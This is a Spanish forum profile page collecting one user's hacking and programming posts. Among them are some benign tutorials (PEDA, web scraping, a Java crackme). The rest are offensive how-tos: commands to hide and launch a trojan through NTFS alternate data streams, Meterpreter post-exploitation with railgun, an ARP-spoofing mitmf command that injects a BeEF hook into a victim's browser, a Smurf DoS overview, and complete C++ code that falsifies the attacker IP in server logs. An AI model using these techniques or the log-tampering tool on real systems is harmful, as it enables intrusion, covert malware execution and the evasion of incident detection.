Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - MagoAstral

#1
Wargames y retos / Plataforma de retos online
Mayo 24, 2016, 12:52:19 PM
Hola a tod@s, en esta ocasión vengo con una entrada corta. Quería compartir con vosotros una plataforma para retos (wargames) online, la cual nos oferta un abanico de posibilidades en distintas ramas de la seguridad.
Sin mucho mas que añadir os dejo el enlace: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
PD: Al registrarte es normal que te de un error pues quedan algunos ajustes por perfilar en el registro, no obstante la cuenta se creará sin problemas.
Un saludo!
#2
Hola a tod@s, soy MagoAstral y en esta ocasión vengo con una herramienta, concretando un asistente para el desarrollo de exploits en python y para uno de nuestros depuradores favoritos GDB!!  8)
Para los que no sepan que es un depurador les recomendaría este enlace (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), una vez tengamos claro el concepto anterior simplemente decir que GDB  (GNU Debugger), es un proyecto creado Richard Stallman y el cual podemos descargar desde el siguiente enlace (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta).
Ahora que tenemos los conceptos necesarios o al menos sabemos de que va el tema procedamos a hablar sobre PEDA.
¿Qué nos proporciona? La respuesta es sencilla una mejora visual que la verdad se agradece; colorea y muestra códigos desensamblados, registros e información de la memoria durante el proceso de depuración. Pero no solo eso también nos proporciona diferentes funcionalidades que nos ayudarán a agilizar el proceso...

Algunos comandos:

  • aslr: Muestra o fija los ajustes de la ASLR de GDB
  • checksec: Comprueba varias opciones de seguridad del binario (stack canaries, NX, etc...)
  • dumpargs: Muesta los argumentos pasados a una función cuando paramos en una instrucción de llamada
  • dumprop: Hace un volcado a todos los ROP gadgets en un rango de memoria específico
  • elfheader: Obtiene información de las cabeceras de un archivo ELF depurado
  • elfsymbol: Obtiene non-debugging symbol de un archivo ELF
  • lookup: Busca todas las direcciones/referencias de una dirección que pertenece a un rango de la memoria.
  • patch: Parchea el inicio de la memoria en una dirección con una cadena, cadena hexadecimal o entero
  • pattern: Genera, busca o escribe un patrón cíclico en la memoria.
  • procinfo: Muestra información variada desde /proc/pid
  • pshow: Muestra opciones y ajustes de PEDA
  • pset: Ajusta y configura PEDA
  • readelf: Obtiene información de un archivo ELF
  • ropgadget Obtiene los ROP gadgets comunes de un binario o una librería
  • ropsearch: Busca ROP gadgets en la memoria
  • searchmem|find: Busca un patrón en la memoria y soporta búsquedas de expresiones regulares
  • shellcode: Genera o descarga los shellcodes comunes
  • skeleton: Genera una plantilla en python para un exploit
  • vmmap: Obtiene los rangos de un mapa virtual de una dirección, de una sección o secciones de un proceso depurado
  • xormem: Aplica XOR a una región de la memoria con una clave
Para una lista completa de los comandos se debería utilizar:
Código: text
peda help


Instalación:
Para instalar PEDA la sintaxis sería la siguiente:
Código: bash
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

De esta manera hemos clonado el repositorio y añadido PEDA a la configuración de inicio del depurador (GDB), ahora cada vez que iniciemos GDB se cargará PEDA!  ;)

Una imagen de PEDA en acción:


Personalmente os lo recomiendo y más si hacéis uso de GDB comúnmente bien en el arte de la explotación o bien en el arte de la ingeniería inversa, os hará muchísimo más sencilla la vida ami me encanta.
PD: Este material es único para Underc0de cualquiera que dese compartirlo le pido que respete los créditos del autor (yo) y del respectivo foro (underc0de)
Un saludo,
MagoAstral
#3
Dudas y pedidos generales / Enlaces simbólicos y Java
Diciembre 22, 2015, 10:29:23 AM
Hola compañer@s en esta ocasión les compartiré una duda que tengo o mas bien un problema que me ha ocurrido. Por diversos motivos me vi obligado a hacer un enlace simbólico a una aplicación java del tipo "jar", cuando deseo lanzar una aplicación con dicho formato via terminal ejecuto el comando apropiado "java -jar" y en caso de querer ejecutarla desde un entorno gráfico configuro el comando también.
El problema inicia cuando se crea el enlace simbólico, cuando trato de ejecutar dicho archivo desde el terminal este no se ejecuta adecuadamente y aquí es donde usted estimado lector debe intervenir.
Mi solución propuesta sería crear un launcher y hacer el enlace simbólico al mismo así teóricamente quedaría apañado, no obstante cualquiera que tenga una solución más fina le invito a compartirla.
Un saludo!
Edición:
La solución que hice es simplemente crear un script que me ejecutase la ruta del archivo con el comando, de esta manera se evitan los problemas:
Código: bash
java -jar /ruta/archivo.jar

Y ya se podría hacer el enlace simbólico.
#4
Hola a todos soy yo MagoAstral y en esta ocasión os brindo la solución al No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que propuse ayer, sin mucho más que agregar comencemos con la solución.
Escenario:
  • ¿Qué tengo que hacer?: Descifrar una contraseña y realizar una función que descifre.
  • ¿Qué tenemos?: Tenemos la contraseña cifrada y tenemos un "programa".
Manos a la obra:
Ahora que sabemos lo que tenemos, barajamos por donde empezar y sin mucho que pensar elegimos el "programa". Tiene una extensión un tanto peculiar ".jar", si no sabemos lo que nos indica esto podríamos hacer uso de nuestro motor de búsqueda favorito y lo que nos indica es Java Archive y que está comprimido en en formato ZIP. Procedamos a hacer ingeniería inversa al archivo, simplemente extraeremos el contenido en una carpeta y nos dejará algo tal que así:

Otra manera de descomprimir el archivo sería mediante la siguiente sintaxis:
Código: text
$ jar -xvf nsa.jar

Ahora que ya tenemos descomprimido el archivo lo más suculento sería la clase llamada "Test.class", como sabemos Java compila a bytecode así que procedamos a decompilar la clase y para ello haremos uso de un famoso decompilador llamado "JAD", el cual podremos descargar desde su página: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Tras descargalo y extraerlo en el mismo directorio donde habíamos extraído la clase, procederemos a abrir nuestra consola o terminal. Tras situarnos en el directorio adecuado y haciendo uso de la sintaxis del decompilador:
Código: text
jad -sjava Test.class

El resultado será así:

Ahora ya tenemos nuestro código fuente "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta", una vez importad analizaremos detenidamente su estructura:

Como vemos nos está dando una método que se llama "codificar" al cual le hay que pasar un parámetro, dentro de dicho método que podríamos clasificar como un poco chapucero, hay un diccionario que nos está dando 5 equivalencias.
Nosotros teníamos que descifrar la clave "#/?$*@", y sabemos su equivalencia a las letras aquí alguno fallo pues dijo que bien simplemente le doy a lo que equivale y el resultado es: "xirtam" y obviamente esa no es la solución.
El método convierte la cadena que se le pasa como parámetro a un array de caracteres y luego recorre el array haciendo la conversión del diccionario, fijémonos en la estructura iteractiva:
Código: java
for(int i = array_caracteres.length - 1; i >= 0; i--)

Como podemos ver recorremos el array partiendo de su ultima posición lo que quiere decir es: NO, las solución no es xirtam, es matrix (¿Agente Smith)
Bueno como vemos es algo sencillo pero que muchos fallaron y esto quiere decir que no es oro todo lo que reluce, ahora simplemente tocaría hacer la función que descifra:

El esquema espero que aclare las dudas, si de una palabra A aplicando una función P llegamos a B entonces si nos dan B para llegar a nuestro objetivo A  hay que aplicar la función inversa: P^-1
Bueno he rectificado, ya que es una solución completa también ofreceré la función que decodifica:
Código: java
import java.util.HashMap;
public class Solución {

public static void main(String[] args) {

System.out.print(descifrar("#/?$*@"));

}
public static String descifrar(String cadena){

String descifrado = "";

HashMap<Character, Character> diccionario = new HashMap<Character, Character>();
        diccionario.put('*', 'a');
        diccionario.put('$', 't');
        diccionario.put('@', 'm');
        diccionario.put('#', 'x');
        diccionario.put('/', 'i');
        diccionario.put('?', 'r');
       
        for(int i = cadena.length() - 1; i >= 0; i--){
        descifrado += diccionario.get(cadena.charAt(i)).toString();
        }

return descifrado;
}

}

Un saludo,
MagoAstral
#5
Python / Web Scraping
Diciembre 03, 2015, 02:14:45 PM
Hola a tod@s, soy MagoAstral y en esta ocasión aprenderemos los conceptos básicos del web scraping en python. Obviamente para los que no sepan que es o en que consiste esta técnica del web scraping haremos uso de nuestra querida e inmejorable wikipedia.
Web scraping es una técnica utilizada mediante programas de software para extraer información de sitios web. Usualmente, estos programas simulan la navegación de un humano en la World Wide Web ya sea utilizando el protocolo HTTP manualmente, o incrustando un navegador en una aplicación.
Ahora que tenemos clara la definición la siguiente cuestión que podría formularse sería ¿qué tipo de información puedo extraer? y la cual es respondida de forma simple, depende absolutamente de tu imaginación, nosotros para este aporte nos centraremos en obtener los títulos y direcciones URL de la biblioteca de nuestro foro, lo cual puede parecer algo tedioso pero veremos como en no mas de 5 líneas podemos realizar dicha tarea.
Como se ha mencionado anteriormente utilizaremos python para llevar a cabo nuestro web scraping y para hacer el proceso aún más sencillo haremos uso de dos librerías:
Las cuales nos ayudaran principalmente en el parseo de los datos HTML y en las peticiones para obtener dichos datos, obviamente deberéis instalarlas para poder hacer uso de las mismas (se supondrá que se saben instalar librerias, aun así es sencillo simplemente extraer la carpeta en la ruta de instalación de nuestro python), una vez instaladas se procederá con el proceso de web scraping.
Nuestro algoritmo sería algo como:

  • Obtener página en HTML
  • Parsear el contenido HTML
  • Sacar por pantalla de manera estructurada el resultado
Procedamos pues a familiarizarnos con la obtención del contenido de la página web, como mencionamos anteriormente haremos uso de la libreria "Requests", para eso debemos importarla, luego realizar la petición a la página web y mostrar el contenido de dicha petición cuya sintaxis sería:
Código: python
import requests
peticion = requests.get("http://biblioteca.underc0de.org")
print peticion.content

El cual nos devolvería correctamente el código fuente de la página una manera de verificar que estamos realizando correctamente las peticiones seria mirar el resultado de la petición el cual se obtendría mediante:
Código: python
print peticion.status_code

Y comos nos devuelve un 200 podemos asumir que significa todo va bien, en caso de que nos devuelva otro tipo de dato podríamos indagar sobre su significado (¿404?¿Not Found?), ahora que ya tenemos la primera parte de nuestro algoritmo podríamos destacar que dentro de "Beautiful Soup" tenemos un método llamado "prettify", el cual nos mostraría el contenido de manera organizada. Es un método a tener en cuenta, su uso puede servirnos en diversas ocasiones.
Ahora nos tocaría parsear el contenido HTML que almacenaremos en una variable, para eso haremos uso de otro método en este caso llamado "find_all" este nos ayuda a filtrar el contenido HTML por ejemplo si le pasamos una etiqueta ("a") nos devolvería todas las etiquetas HTML del tipo buscado, como nosotros queremos obtener los títulos si hacemos uso de un depurador web podemos ver lo siguiente:
Lo más lógico para poder extraer los títulos sería extraer el contenido de las etiquetas "td" cuya clase sea "noalign", así que sin mucho que pensar gracias a BeautifulSoup y un bucle sencillo para recorrer el contenido:
Código: python
import requests
from bs4 import BeautifulSoup

peticion = requests.get("http://biblioteca.underc0de.org/")

soup = BeautifulSoup(peticion.content)

for i in soup.find_all('td', {'class', 'noalign'}):
    print i

Lo cual nos devuelve:
Código: text
<td class="noalign">Nombre</td>
<td class="noalign"><a href="?dir=ARDUINO - RASPBERRY PI/"><div style="width: 100%; height: 100%;float: left;">ARDUINO - RASPBERRY PI</div></a></td>
<td class="noalign"><a href="?dir=CRIPTOGRAFIA/"><div style="width: 100%; height: 100%;float: left;">CRIPTOGRAFIA</div></a></td>
<td class="noalign"><a href="?dir=E-BOOKS/"><div style="width: 100%; height: 100%;float: left;">E-BOOKS</div></a></td>
<td class="noalign"><a href="?dir=E-ZINES/"><div style="width: 100%; height: 100%;float: left;">E-ZINES</div></a></td>
<td class="noalign"><a href="?dir=ESTEGANOGRAFIA/"><div style="width: 100%; height: 100%;float: left;">ESTEGANOGRAFIA</div></a></td>
<td class="noalign"><a href="?dir=HARDWARE - ELECTRONICA/"><div style="width: 100%; height: 100%;float: left;">HARDWARE - ELECTRONICA</div></a></td>
<td class="noalign"><a href="?dir=INFORMATICA FORENSE/"><div style="width: 100%; height: 100%;float: left;">INFORMATICA FORENSE</div></a></td>
<td class="noalign"><a href="?dir=INGENIERIA INVERSA/"><div style="width: 100%; height: 100%;float: left;">INGENIERIA INVERSA</div></a></td>
<td class="noalign"><a href="?dir=MALWARES/"><div style="width: 100%; height: 100%;float: left;">MALWARES</div></a></td>
<td class="noalign"><a href="?dir=OTROS/"><div style="width: 100%; height: 100%;float: left;">OTROS</div></a></td>
<td class="noalign"><a href="?dir=PENTESTING/"><div style="width: 100%; height: 100%;float: left;">PENTESTING</div></a></td>
<td class="noalign"><a href="?dir=PHREAK/"><div style="width: 100%; height: 100%;float: left;">PHREAK</div></a></td>
<td class="noalign"><a href="?dir=PROGRAMACION/"><div style="width: 100%; height: 100%;float: left;">PROGRAMACION</div></a></td>
<td class="noalign"><a href="?dir=QA/"><div style="width: 100%; height: 100%;float: left;">QA</div></a></td>
<td class="noalign"><a href="?dir=REDES/"><div style="width: 100%; height: 100%;float: left;">REDES</div></a></td>
<td class="noalign"><a href="?dir=SEGURIDAD - INSEGURIDAD/"><div style="width: 100%; height: 100%;float: left;">SEGURIDAD - INSEGURIDAD</div></a></td>
<td class="noalign"><a href="?dir=SEGURIDAD WEB/"><div style="width: 100%; height: 100%;float: left;">SEGURIDAD WEB</div></a></td>
<td class="noalign"><a href="?dir=SEO/"><div style="width: 100%; height: 100%;float: left;">SEO</div></a></td>
<td class="noalign"><a href="?dir=SISTEMAS OPERATIVOS/"><div style="width: 100%; height: 100%;float: left;">SISTEMAS OPERATIVOS</div></a></td>

En principio vamos bien, ya hemos logrado un intervalo similar al que buscábamos y con similar me refiero a que si hacemos uso del método "text" de Beautiful Soup el cual nos devuelve el texto que está en el interior de las etiquetas, nos devuelve todos los nombres y algo más:
Nombre
Y nosotros no queremos que incluya el contenido de la primera etiqueta "td" así que haremos un bucle anidado de manera que nos busque las etiquetas de las direcciones:
Código: python
import requests
from bs4 import BeautifulSoup

peticion = requests.get("http://biblioteca.underc0de.org/")

soup = BeautifulSoup(peticion.content)

for i in soup.find_all('td', {'class', 'noalign'}):
    for j in i.find_all('a'):
        print j

Ahora sí que nos devuelve únicamente las etiquetas que buscábamos de manera que si hacemos uso del método "text" nos devolvería algo tal que así:
Código: text
ARDUINO - RASPBERRY PI
CRIPTOGRAFIA
E-BOOKS
E-ZINES
ESTEGANOGRAFIA
HARDWARE - ELECTRONICA
INFORMATICA FORENSE
INGENIERIA INVERSA
MALWARES
OTROS
PENTESTING
PHREAK
PROGRAMACION
QA
REDES
SEGURIDAD - INSEGURIDAD
SEGURIDAD WEB
SEO
SISTEMAS OPERATIVOS

Correcto, ahora solos nos quedaría obtener el contenido de nuestro atributo "href" que es donde apunta el enlace y para eso haremos uso de otro sencillo método en este caso "get" al cual se le pasa como parámetro el filtro en este caso sería "href", pero nos encontramos ante otro problema algunos links tienen espacios en blanco por lo que no nos los reconocería como parte de la dirección así que si hacemos un reemplazo a dichos espacios en blanco tendríamos la solución a nuestro problema, por defecto el navegador codifica los espacios en blanco como "%20", el código sería el siguiente:
Código: python
import requests
from bs4 import BeautifulSoup

peticion = requests.get("http://biblioteca.underc0de.org/")

soup = BeautifulSoup(peticion.content)

for i in soup.find_all('td', {'class', 'noalign'}):
    for j in i.find_all('a'):
        print j.get('href').replace(" ","%20")

Y ahora que tenemos el título y el contenido simplemente hacemos una salida por pantalla estructurada:
Código: python
import requests
from bs4 import BeautifulSoup

peticion = requests.get("http://biblioteca.underc0de.org/")

soup = BeautifulSoup(peticion.content)

for i in soup.find_all('td',{'class','noalign'}):
    for j in i.find_all('a'):
        print "%s : http://biblioteca.underc0de.org/%s" %(j.text, j.get("href").replace(" ", "%20"))

El resultado:
Espero que os haya servido de algo y cualquier crítica / cuestión siéntanse libres de ponerse en contacto conmigo.
Un saludo,
MagoAstral
#6
Hacking / NTFS Data Stream
Agosto 24, 2015, 11:00:44 AM
NTFS Data Stream


Estimado lector le doy la bienvenida a este nuevo aporte donde se hablará sobre los flujos alternativos de datos (ADS) y se mostrarán algunas pruebas de concepto para que se capte una mínima parte del potencial que tienen. Como siempre yo soy MagoAstral y sin más que añadir vamos a comenzar...
Llegados a este punto el lector seguirá con la inquietud sobre la definición de los flujos alternativos de datos, así que será lo primero en solventar. Básicamente podríamos decir que forman parte del sistema de archivos NTFS y su finalidad es almacenar datos dentro de datos (metadatos), y todo esto en el mismo fichero! ¿Suena interesante verdad?  Aclararé la definición de NTFS por si alguno se ha perdido, simplificando diríamos que es un sistema de archivos inicialmente utilizado en Windows NT y ha pervivido hasta nuestros días.
Para concretar, en 1993, Microsoft sacó a luz dicha versión de Windows (NT), la cual contenía el sistema de archivos NTFS con el soporte de los ADS cuya finalidad era soportar forks nativos de los sistemas Mac, lo que se traduce como ofertar compatibilidad.
Un ejemplo de ADS sería el Zone.Identifier que alberga el identificador de zona de Internet de donde se descargó el fichero, dicha información será analizada por Windows Explorer, y este decidirá si se debe advertir al usuario en el tiempo de ejecución del programa.
Podríamos destacar que en Windows el flujo de datos principal se llama :$DATA
Con esto doy por finalizada la parte teórico-histórica, procedamos pues a un plano más practico sobre el uso que podemos dar a dichos flujos, es muy recomendable que el lector practique y lleve a cabo las pruebas de concepto que se desarrollarán a continuación.
Parte práctica
En la primera prueba de concepto se guardará información dentro de un archivo de texto utilizando el flujo alternativo de datos. Para efectuar dicho proceso se seguirán los siguientes pasos:
Código: dos

echo Texto guardado dentro del flujo alternativo de datos del archivo > texto.txt:flujo.txt

Para leer el contenido:
Código: dos
more < texto.txt:flujo.txt

De esta manera:

En esta segunda prueba de concepto vamos a guardar un ejecutable a modo de malware dentro de un archivo de texto y para llevar a cabo dicho proceso se seguirá la siguiente sintaxis:
Código: dos
type archivo.exe > texto.txt:archivo.exe


A la hora de ejecutarlo es muy importante que pongan toda la ruta ejemplo:
Código: dos
start c:\texto.txt:Troyano.exe

En caso de que quieran extraer el ejecutable sería mediante:
Código: dos
cat c:\texto.txt:Troyano.exe > troyano.exe

La extracción mediante el cat es única para windows 2003!
Quizás tengan problema en sistemas como windows 7 y superiores, así que se recomienda utilizar windows server o windows xp para llevar a cabo las pruebas de concepto.
Con esto daré por concluido el aporte, cualquier duda o aclaración sentiros libres para comentarla.
Un saludo!
#7
Hacking / Metasploit like a boss
Agosto 05, 2015, 04:28:42 PM
like a boss
Estimado lector vuelvo a ser yo MagoAstral, en esta ocasión les mostraré como sacar jugo extra a nuestro framework de explotación favorito es obvio que en todos o casi todos nuestros test de explotación acabamos con una sesión  y es en esa fase de "post-explotación" donde hoy nos centraremos.
Una vez que tenemos activa nuestra sesión, procederemos a migrar nuestro proceso, yo lo migraré al explorer:
Código: php
ps
migrate pid

Una vez que hemos migrado nuestro proceso podemos proceder a ejecutar nuestra shell interactiva, como sabéis metasploit está desarrollado (no en sus inicios) en ruby, por consiguiente podemos a golpe de teclado jugar con un nuevo abanico de posibilidades, para abrir dicha shell simplemente tipearemos:
Código: php
irb

Una vez que tenemos nuestra shell interactiva vemos que nos arroja un mensaje diciendo que la palabra "client" mantiene al cliente de nuestra sesión. Vamos a familiarizarnos con nuestra shell interactiva recuperando algo de información sobre la máquina víctima, por ejemplo información sobre el sistema. Para esto simplemente ejecutaremos la siguiente sintaxis:
Código: php
client.sys.config.sysinfo

Vemos que nos arroja una clase de tipo hash, mi salida por pantalla sería:

Como podemos ver dentro de esta clase de objeto podríamos llamar distintos elementos por su clave, pero eso se lo dejo al lector para que se entretenga en sus ratos libres. Es importante destacar que dentro del objeto client tiene diversos métodos, los cuales se pueden observar mediante la siguiente sintaxis:
Código: php
client.methods

Hay una gran lista y cual mas interesante, pero en esta ocasión entraremos en contacto con el método "railgun", mi salida por pantalla sería tal que así:

Railgun es una característica única de meterpreter que nos ayudará a tener el control de la API  de Windows o tomar el control de una DLL y es eso lo que lo hace tan interesante pues como mencioné anterior mente nos abre un nuevo camino en nuestras auditorias y/o pruebas de penetración.
Podemos ver las DLL cargadas mediante la siguiente instrucción:
Código: php

client.railgun.known_dll_names

La salida sería algo así:

Bueno ahora os mostraré como poder jugar con dichas DLL. En caso de que no sepamos que funciones podemos realizar con las DLL nos ayudaremos de Microsoft, supongamos que queremos obtener el ID del proceso al que migramos anteriormente, sabemos que con la DLL kernel32 lo podemos hacer pero desconocemos la función a utilizar. Gracias a Google y Microsoft podríamos acceder a la lista de funciones en mi caso sería esta:
Código: php
http://www.geoffchappell.com/studies/windows/win32/kernel32/api/

Buscaremos la función a utilizar y luego para saber la sintaxis de dicha función nos ayudaremos de MSDN en mi caso sería la función: "GetCurrentProcessId" la url:
Código: php
https://msdn.microsoft.com/es-es/library/windows/desktop/ms683180(v=vs.85).aspx

Como vemos no necesita ningún parámetro por consiguiente ejecutamos lo siguiente:
Código: php
client.railgun.kernel32.GetCurrentProcessId

Nos devolverá algo así:

Y de esta manera podrás buscar información sobre las DLL y jugar con sus funciones obviamente nadie sabe de memoria todo y los programadores sabrán que con frecuencia se recurre a esta metodología de búsqueda, recordar que la practica hace al maestro.
Para finalizar se llevó a cabo la ejecución de una alerta con railgun el resultado:

Con esto doy por concluido el post, dejo a imaginación del lector lo que se puede llegar a realizar...
Un saludo!
#8
Códigos Fuentes / Suplantación de Logs
Julio 24, 2015, 01:58:51 PM
Hola a todos, esta tarde estaba pensando en programar un zapper en C++ pero cuando me puse a hacerlo cambie de idea y pensé en crear una aplicación que suplantase la IP del atacante y así tocar un poco la moral del Sysadmin.
El código es sencillo se abre el log, se leen las líneas y se guardan en una string. A continuación se busca y reemplaza la ip del atacante por otra dirección IP en la string y luego se guarda dicha string con las modificaciones en el log.
Cualquier duda comentármela obviamente es una chapuzilla pero bueno si ha alguien le sirve, por compartir que no sea ;)
Código: cpp

#include <iostream>
#include <fstream>
#include <string>

using namespace std;

int main()
{

ifstream a_entrada;
ofstream a_salida;

string ruta_log, linea, cuerpo, ip1, ip2;

cout << "Ruta del log: ";

cin >> ruta_log;

a_entrada.open(ruta_log.c_str());

if (a_entrada.fail())
{
cout << "El log no se puede abrir" << endl;
}

while(getline(a_entrada, linea))
{
cuerpo += linea +"\n";
}

a_entrada.close();

cout << "IP 1: ";
cin >> ip1;
cout << "IP 2: ";
cin >> ip2;

string::size_type p = 0;

while((p = cuerpo.find(ip1, p)) < string::npos)
{
cuerpo.replace(p, ip1.length(), ip2);
p+=ip1.size();
}

a_salida.open(ruta_log.c_str());

if (a_salida.fail())
{
cout << "No se pudo guardar el log" << endl;
}

a_salida << cuerpo;
a_salida.close();

cout << "Archivo log envenenado correctamente!";

system("pause");
return 0;
}
#9
Off Topic / Mr Robot
Julio 22, 2015, 11:22:49 AM
Mr Robot
Hola a todos, soy yo MagoAstral en esta ocasión vengo a traer un nuevo post, que me extraña que nadie lo hubiese publicado antes que yo. He decidido la sección noticias informáticas pues quizás no sea explícitamente una noticia informática pero bueno si algún moderador lo considera más correcto en la sección off-topic que lo mueva libremente.
Básicamente vengo a hablaros de una nueva serie sobre este mundo paranoico que tanto gusta, la seguridad informática y el hacking, muchos sabrán que han existido series similares como Cyber CSI pero siempre acaban exagerando y  engañando a la audiencia por contrario esta serie es bastante real y es por eso por lo que os la vengo recomendando.
Personalmente el primer capítulo me enganchó muchísimo, muy bien realizado con una buena temática y el personaje principal "eliot" muy peculiar, logra esa situación psicológica que te atrae hacia el conocimiento. He de reconocer que el nivel de la serie ha decrecido con cada capítulo aun así para los aficionado a todo este rollo nos sigue gustando y más a los aficionados hacia la series o películas que traten sobre personas inteligentes que hacen grandes deducciones o que simplemente te hacen pensar.
La serie es de origen estadounidense y el creador es Sam Esmail y se estrenó el 24 de junio de 2015.
Argumento:
Código: text

La serie sigue a Elliot (Rami Malek), un joven hacker que sufre de trastorno antisocial de la personalidad, trabaja como ingeniero de seguridad informática y usa sus habilidades para proteger a las personas por las que se preocupa. Elliot es reclutado por Mr. Robot (Christian Slater), un misterioso líder de un grupo de hackers quien quiere destruir a poderosos empresarios de multinacionales que él cree que están manejando el mundo.

Desarrollo:
Código: text

En julio de 2014 USA Network ordenó un piloto para una serie dramática titulada Mr. Robot producida por Sam Esmail. En septiembre de 2014 se confirmó que Rami Malek tomaría el papel principal, mientras que Carly Chaikin y Portia Doubleday tendrían los papeles de Marlene y Angela respectivamente. En octubre se anunció que Christian Slater desempeñaría el rol de Mr. Robot. En este mismo mes se informó que Martin Wallström se unía al elenco.
En diciembre de 2014 la cadena dio a conocer la orden de diez episodios a estrenarse el 24 de junio de 2015.
El 27 de mayo de 2015 se liberó el episodio piloto en variados sitios de la web como estrategia de promoción. El presidente de la cadena USA Network dijo al respecto que la idea de hacer esto es para romper con los límites y llegar a nuevas audiencias.

Recepción:
Código: text

Mr. Robot ha recibido críticas muy positivas. El sitio web Rotten Tomatoes le da una aprobación del 96% en donde se agrega que "Mr. Robot es un ciber-thriller de suspenso con historias oportunas y una intrigante premisa provocativa". En la página web Metacritic se le da una aprobación del 78%, con una calificación del usuario de 8.9. Mientras tanto el sitio Forbes le dio a la serie una muy buena crítica, manifestando que "Mr. Robot tiene nada más que cosas positivas a su favor" además de ser un show televisivo que está en camino de ser un clásico moderno.

Episodios 1º temporada:
Código: text

eps1.0_hellofriend.mov
eps1.1_ones-and-zer0es.mpeg
eps1.2_d3bug.mkv
eps1.3_da3m0ns.mp4
eps1.4_3xpl0its.wmv
eps1.5_br4ve-trave1er.asf
eps1.6_v1ew-s0urce.flv
eps1.7_wh1ter0se.m4v
eps1.8_m1rr0r1ng.qt
eps1.9_zer0-day.avi

Ahora vamos a la parte interesante, bueno la serie por ahora está en lenguaje inglés subtitulada a español se preguntarán donde ver dichos capítulos. Comenzaré enseñando el trailer y la versión extendida:
Código: text

https://www.youtube.com/watch?v=Ug4fRXGyIak
https://www.youtube.com/watch?v=U94litUpZuc
https://www.youtube.com/watch?v=nJNZF3LR0VM

Y ahora para ver la serie os recomiendo:
Código: text

seriesflv .net/serie/mr-robot.html

Y esto es todo, espero que comentéis vuestras opiniones respecto a esta nueva serie.
Un saludo!
#10
Hacking / MITM + BeEF
Julio 21, 2015, 09:46:36 AM
Man In The Middle + BeEF
Hola a todos, soy MagoAstral y les mostraré otra técnica más de explotación, en esta ocasión se realizará un ataque de mitm para inyectar un script (js) externo en el navegador de la víctima. Aunque parezca un ataque muy complejo verán que  hasta el lector más inexperto logrará comprender los conceptos básicos de esta metodología.
Para los que se pregunten que es un man in the middle attack (mitm), consiste en mediante una forma u otra adquirir el poder de leer y/o modificar el tráfico o mensajes. Puede que ahora tengan inquietud sobre el segundo término del título beef, simplemente es un framework para la explotación de navegadores.
A continuación se describirá el escenario:

  • Kali Linux - Atacante

    • Mitmf
    • Beef
  • Windows 7 - Víctima

    • Google Chrome
El primer paso será iniciar BeEF, para eso nos situaremos en la ruta y lo abriremos:
Código: bash

cd /usr/share/beef-xss
./beef

La salida de la termianal:

A continuación procederemos a instalar el framework mitmf que nos simplificará todo el proceso tedioso. Para instalarlo simplemente tipearemos:
Código: bash

apt-get install mitmf

La salida de nuestra terminal debería ser algo así:

Una vez que ya hemos instalado nuestro mitmf, procederemos a lanzar el ataque, pero para eso necesitamos identificar nuestro gateway o puerta de enlace predeterminada y la víctima obviamente al estar en nuestro laboratorio sería tan sencillo como ejecutar un "ipconfig" en la máquina víctima y el proceso de identificación se daría por zanjado, pero esto en el mundo real no es así. Para identificar a nuestra víctima nos ayudaremos de la herramienta netdiscover que nos proporcionará la información necesaria para deducir cual es la máquina. Una vez tengamos su dirección IP podríamos verificar que el sistema que utiliza es windows mediante un nmap o con el truco de la abuela, por regla general en local si se realiza un ping a una máquina windows el ttl (tiempo de vida) de un paquete es 128 por contrario si es un gnu/linux será 64.
Ejecutaremos:
Código: bash

netdiscover
route -n

La salida de la terminal:

Ahora que tenemos todos los elementos necesarios podemos comenzar nuestro ataque mediante la siguiente sintaxis:
Código: bash

mitmf --spoof --arp -i interface --gateway gateway --target target --inject --js-url nuestrojs

La salida de mi terminal:

Recordad que el parámetro --js-url es el hook de nuestro beef el cual se muestra en pantalla cuando arrancamos el beef.
¿Arp Spoofing? ¿Qué es?
Para empezar yo definiría ARP, que es básicamente un protocolo de capa de red cuya función es identficiar la MAC Address o dirección física de una dirección IP. ARP Spoofing sería enviar paquetes ARP modificados normalmente se asocia la MAC Address del atacante con la dirección IP de otro nodo.
Una vez el ataque es puesto en marcha desde la máquina afectada podríamos ver como se ha modificado la dirección Mac del gateway:
Código: dos

arp -a

Salida:

Ahora cuando la víctima decida navegar utilizando su navegador favorito en su página web favorita no sabrá que se ha inyectado nuestro script. Si utilizamos un depurador web podemos ver como se ha inyectado correctamente:

Y ya para finalizar desde nuestro panel web de BeEF tenemos la sesión activa de nuestra víctima:

Y con esto doy por concluido el post, espero que les haya servido y comenten sus inquietudes.
Un saludo,
MagoAstral
#11
Hacking / [D.O.S] Smurf Attack
Junio 19, 2015, 10:26:51 AM
Smurf Attack
Hola a todos, soy yo MagoAstral. En esta ocasión les hablaré sobre un ataque de denegación de servicio llamado Smurf Attack, en qué consiste, algo de historia y finalizaremos con una pequeña prueba de concepto. Para los usuarios que no sepan que es una denegación les remito a la wikipedia:
Código: php
Ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos
Para explicarlo de un modo sencillo, supongamos en un pueblo pequeño el cuartel de la policía tiene habilitado un teléfono. Si una persona llama al número, recibe el servicio, pero si llaman 500 personas a la vez el servicio quedará inhabilitado y ninguno podrá recibirlo. En conclusión consiste en dejar un servicio inaccesible durante un periodo de tiempo.
Obviamente dentro de las denegaciones de servicio hay diversos tipos de metodologías a la hora de realizar un ataque pero en esta ocasión nos centraremos en el "Smurf Attack", otra vez vuelvo a remitiros a la definición de Wikipedia:
Código: php
El ataque smurf es un ataque de denegación de servicio que utiliza mensajes de ping al broadcast con spoofing para inundar (flood) un objetivo (sistema atacado).
Podríamos concluir que el ataque smurf es ataque de tipo ICMP, a modo de historia el autor de dicha vulnerabilidad fue TFreak en el año 1997, digo vulnerabilidad pues es una vulnerabilidad en los protocolos TCP/ICMP.
Aquí os dejo el enlace al código del autor está creado en C:
Código: php
http://www.rs-labs.com/papers/tacticas/ircutils/smurf.html
